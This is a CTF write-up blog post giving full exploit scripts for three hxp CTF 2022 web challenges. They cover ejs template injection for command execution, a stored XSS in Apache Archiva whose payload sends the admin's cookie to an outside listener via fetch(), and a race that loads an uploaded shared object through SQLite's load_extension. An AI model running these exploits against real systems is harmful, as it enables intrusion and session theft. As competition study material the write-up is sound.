Featured image of post hxp CTF 2022 writeup

hxp CTF 2022 writeup

Our solutions to three web tasks: valentine, archived and sqlite_web

Intro

The hxp CTF 2022 started at 19:00 on March 10th, 2023 and went on for two whole days. In our team I was solving web challenges and I want to share some of the solutions and sploits to the tasks that we were able to solve.

As for now (March 18th, 2023), CTF page is up here and all challenge files can still be downloaded, albeit challenge servers are already down.

Valentine

We’re given a simple web service to create valentines. It has two endpoints. First allows us to save our ejs template, ensuring that every time substring <% occurres in a template, it is a part of <%= name %>. Second endpoint allows us to render any saved template with any parameters that we pass to it.

What we need to do in this task is quite obvious. The only way that we can get RCE to read the flag is by SSTI in ejs engine. Unfortunately, it seems that there’s no way to bypass filter that allows only <%= name %> templates in. So, how can we sneak in something else?

After reading source files and some quick googling we stumbled upon this article by Eslam Salem. It thoroughly described RCE via SSTI & PP in ejs template engine. It shows that we can overwrite any of the following ejs settings to change it’s behavior:

1
2
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

Unfortunately Eslam’s sploit already doesn’t work, but we can do something similar. After messing around with source code of ejs and express and a bit of trial and error, we’ve discovered that we can still overwrite settings by sending settings[view options][<option>] in query string, mapped to any value that we want it to be. We’ve tested it on local node instance and were able to get RCE. But sploit, for some odd reason, still didn’t work when ran against the docker instance or remote server.

The reason was that when we ran the code agains node instance, our node server was deployed in development environment and, hence, had the NODE_ENV variable set to development, unlike docker and remote, which had production mode on. That affected cache, which made it so that our settings overwrite didn’t work (probably, because of this part in ejs source code). Fortunately, we were able to overwrite cache as well.

But the challenge is not quite over yet. You see, to disable caching we needed to assign some value to cache that will make it cast to false inside if statement. But what can it be? If we set it to null or false, it will be interpreted as a string and, therefore, will keep the cache on. If we don’t specify any value, it won’t overwrite true value that is on by default in production environment. So, what can we do? We noticed that our query is parsed with qs, which allows us to use [cache]= in query string to show that cache is an empty array. Which happens to work in our case and set cache variable to false-y expression!

So, the payload goes as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
import requests as rq

URL = 'http://168.119.235.41:9086'

s = rq.Session()
resp = s.post(
    f'{URL}/template',
    data={
        'tmpl': (
            "<$= process.mainModule.require('child_process').execSync('/readflag') $>\n"
            "<$= name $>\n"
            "<%= name %>"
        )
    },
)

uuid_match = re.search(
    r'(?P<uuid>[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[4][0-9A-Fa-f]{3}-[89ABab][0-9A-Fa-f]{3}-[0-9A-Fa-f]{12})',
    resp.url,
)
assert uuid_match is not None, resp.text
uuid = uuid_match.group('uuid')

resp = s.get(
    f'{URL}/{uuid}',
    params={
        'name': 'hax',
        "settings[view options][delimiter]": '$',
        '[cache]': ''
    },
)
print(f'"{resp.text}"')

Archived

This challenge features the latest version of Apache Archiva as a main (and only) service. We’re given user priveledges in that application and our goal is to get file read on the system.

This challenge looks more scary, than it actually is. First of all, let’s think: we’re given a challenge, in which we can make request for an admin instance to do something (XSS?). admin.py script just logs in as an admin and goes to /repository/internal path.

Obviously, the first thing that I’ve tried is injecting some XSS into that page. /repository/internal lists all artifacts that have been uploaded to internal repository. All users are able to do that, so if we happen to find XSS there, stealing admin’s cookie would be pretty easy. And would you look at that, we’re able to create artifact with an XSS in it’s name, which would be unsafely inserted into page that admins visit and steal theirs cookie! The only thing is that with we’re unable to create payloads with some symbols (for example, we can’t use dot). So we need to be careful with our payload.

So, we’ve gained access to admin’s account, what’s next? We need to somehow gain file read priveleges. Luckily, it’s not that difficult either. We can just create new repository with, which has it’s root at the root of file system. And after navigating to /repository/<our-repo-id> we can read any file on file system, including /flag.txt :D!

Full sploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
import requests as rq
from secrets import token_hex
from urllib.parse import quote
from pwn import *

CHALL_USER = 'LI4YZo6d8tz1ebd1sLRYQ0iF4sh8Z4DT1VSID6HmiQc'      # From proof-of-work
CHALL_PASS = 'YMbla3dgME4Kxn4ymveZko99isVPmSeJoV6UKuDuG_k'      # From proof-of-work
CHALL_HOST, CHALL_PORT = '91.107.229.112', 18589  # From proof-of-work
ADMIN_HOST, ADMIN_PORT = '91.107.229.112', 9420  # From challenge desc
XSS_URL = 'https://lol.requestcatcher.com/xss'  # Your listener

ARCHIVA_USER = 'ctf'            # From challenge desc
ARCHIVA_PASSWORD = 'H4v3Fun'    # From challenge desc


BASE_URL = f'http://{CHALL_USER}:{CHALL_PASS}@{CHALL_HOST}:{CHALL_PORT}'

s = rq.Session()

s.post(
    f'{BASE_URL}/restServices/redbackServices/loginService/logIn',
    headers={'Referer': f'http://{CHALL_HOST}:{CHALL_PORT}/'},
    json={'username': ARCHIVA_USER, 'password': ARCHIVA_PASSWORD},
    verify=False,
)

s.post(
    f'{BASE_URL}/restServices/archivaUiServices/fileUploadService',
    headers={
        'Referer': f'http://{CHALL_HOST}:{CHALL_PORT}/',
        'Content-Type': (
            'multipart/form-data; boundary=----WebKitFormBoundarylcAGU3nH0Zd49uu4'
        ),
    },
    data=(
        '------WebKitFormBoundarylcAGU3nH0Zd49uu4\r\n'
        'Content-Disposition: form-data; name="pomFile"\r\n'
        '\r\n'
        'false'
        '\r\n------WebKitFormBoundarylcAGU3nH0Zd49uu4'
        '\r\nContent-Disposition: form-data; name="classifier"'
        '\r\n'
        '\r\n'
        '\r\n'
        '------WebKitFormBoundarylcAGU3nH0Zd49uu4\r\n'
        'Content-Disposition: form-data; name="packaging"\r\n'
        '\r\n'
        '\r\n'
        '------WebKitFormBoundarylcAGU3nH0Zd49uu4\r\n'
        'Content-Disposition: form-data; name="files[]"; filename="lolfile"\r\n'
        'Content-Type: text/plain\r\n'
        '\r\n'
        'bebra\r\n'
        '------WebKitFormBoundarylcAGU3nH0Zd49uu4--\r\n'
    ),
    verify=False,
    allow_redirects=False,
)

PAYLOAD = quote(
    "<img src=x onerror=\"fetch('{hex_url}'+document['cookie'])\">".format(
        hex_url=''.join(
            '\\x' + hex(ord(x))[2:] for x in (XSS_URL + f'?q{token_hex(4)}=')
        )
    )
)

resp = s.get(
    f'{BASE_URL}/restServices/archivaUiServices/fileUploadService/save/internal/{PAYLOAD}/a1/v1/p1',
    headers={
        'Referer': f'http://{CHALL_HOST}:{CHALL_PORT}/',
        'Accept-Language': 'en-US,en;q=0.9',
    },
    params={'_': 1678534346320},
    verify=False,
)
assert resp.ok, (resp.status_code, resp.text)

s.get(
    f'{BASE_URL}/restServices/archivaUiServices/fileUploadService/clearUploadedFiles',
    headers={'Referer': f'http://{CHALL_HOST}:{CHALL_PORT}/'},
    params={'_': 1678534346320},
    verify=False,
)


print('Posted XSS artifact, envoking admin...')
context.log_level = 'CRITICAL'
r = remote(ADMIN_HOST, ADMIN_PORT)
first_line = r.recvline()
if b'Logging in ' in first_line:
    print('Already logged in, admin should visit your URL soon')
    r.recvall()
    print('Admin should have visited your URL!')
else:
    r.recvuntil(b'username:')
    r.sendline(CHALL_USER.encode())
    r.recvuntil(b'password:')
    r.sendline(CHALL_PASS.encode())
    r.recvuntil(b'port:')
    r.sendline(f'{CHALL_PORT}'.encode())
    print('Admin is visiting, please wait...')
    r.recvall()
    print('Admin should have visited your URL!')

# Then log in with admin cookie, add repository with "Directory" and "Index directory"
# set to "/" and go to /repository/<repository-id>/flag.txt

Sqlite_web

We’re given this open-source project started with read-only database. Our goal is to gain RCE

So, first of all, all that encryption stuff is not related to the task. Flag is only accessible at the file system, so decrypting database (even if we could) is not going to give us anything. After all, this is web task, not crypto.

This task loads crypto.so from sqlean, so extension loading is enabled. That means that we can load any shared object binary from the file system into sqlite to gain remote code execution. The question now is: how do we get malicious shared object file uploaded to the server?

The answer is temporary files that werkzeug creates when handling file uploads of more than 500kb. So we can append null bytes to our shared object file, so it’s big enough. We also can “bypass” csv/json limitation by just setting file type to application/json. Then we need to randomly try for file desecriptors until we get just the correct timing to read file, that has just been temporarly stored on the file system. This timing needs to be very precise, so we used multiple threads to simultaneously upload and read files to increase odds of getting that timing.

Our sploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from multiprocessing import Pool
import requests as rq

USER = 'hxp'
PASS = 'hxp'
HOST, PORT = 'localhost', 8096
THREADS = 128

URL = f'http://{USER}:{PASS}@{HOST}:{PORT}'


def post_file(x):
    if x % 2 == 0:
        print('[*] starting post')
        f = open('sploit.so', 'rb')
        while True:
            rq.post(
                f'{URL}/ctf/import',
                files={'file': ('sploit.json', f, 'application/json')},
            )
        f.close()
    else:
        r = rq.post(
            f'{URL}/ctf/query',
            data={'sql': f"SELECT 1,load_extension('/proc/7/fd/{7+x}');"},
        )
        if 'No such file or directory' not in r.text and r.status_code == 200:
            print(r.text)
    return


with Pool(THREADS) as pool:
    results = pool.map(post_file, range(THREADS))